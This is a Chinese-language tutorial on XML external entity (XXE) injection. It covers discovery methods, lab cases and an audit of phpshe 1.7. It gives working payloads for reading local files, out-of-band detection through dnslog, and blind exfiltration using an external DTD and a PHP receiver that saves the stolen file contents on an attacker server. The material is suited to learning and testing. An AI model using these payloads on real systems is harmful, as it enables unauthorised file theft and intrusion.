XXE漏洞-黑白盒测试+无回显
什么是xxe漏洞?
XML被设计是为了传输和存储数据,XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XXE黑盒发现:
1、获取到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的是Content-Type类型还是数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
案例:xxe漏洞-读取文件
一个登录功能
抓包发现是使用xml类型传输的数据,可能存在xxe漏洞
伪造一个读取文件的xml外部实体payload
读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
www. txt内容 :xiaoheizi:请不要试图读取我
成功读取到文件内容
案例:xxe漏洞-带外测试
带外测试:为了在网站不回显时,确认漏洞是否存在
打开网站dnslog.cn获取测试域名
测试xml代码:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://eb3q1r.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
更改数据包发送
dns成功接收到访问信息,说明插入的xxe漏洞payload被解析执行了,存在xxe漏洞
案例:xxe漏洞-解决无回显问题
dtd格式文件:
dtd是xml的一个实体文件,里面写的是xml的代码。可以解决拦截防护绕过问题和数据不回显问题。
无回显读取文件内容的xml代码:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:100/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
意思是:读取www.txt内容,发送给http://127.0.0.1:100/test.dtd。
test.dtd内容:<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:100/get.php?file=%file;'>">
意思是:接收数据到get.php文件
get.php内容:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
意思是:将接收到的数据写入到file.txt文件中。
抓包修改接收的数据为xxe漏洞payload
点击发送,攻击者服务器下成功生成一个file.txt文件
打开成功获取www.txt的内容
简单来说就是:目标网站不回显,攻击者就把获取的数据发送到自己的服务器上去看
案例:xxe漏洞-phpshe1.7源码(无回显审计)
1.浏览器搜索一些xxe漏洞的函数
如:simplexml_load_string()函数
2.打开源码全局搜索漏洞函数。使用的审计工具是:Seay源代码审计系统
3.依次打开函数位置,审计代码发现大概率存在xxe漏洞
4.可以看到pe_getxml方法调用了漏洞函数,要确定是谁调用了pe_getxml
选中方法---右键---全局搜索
5.wechat_getxml调用了pe_getxml,要确定是谁调用了wechat_getxml
最后确定是notify_url.php文件调用了wechat_getxml。
6.访问notify_url文件触发wechat_getxml函数,构造Paylod测试
7.抓取访问notify_url.php文件的数据包
8.尝试读取文件无回显,使用带外测试看看有没有漏洞
dnslog有解析记录,说明存在xxe漏洞
9.使用带外传递数据解决无回显
10.发送数据包,成功在攻击者服务器生成一个file.txt文件接收读取的数据
内容:
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。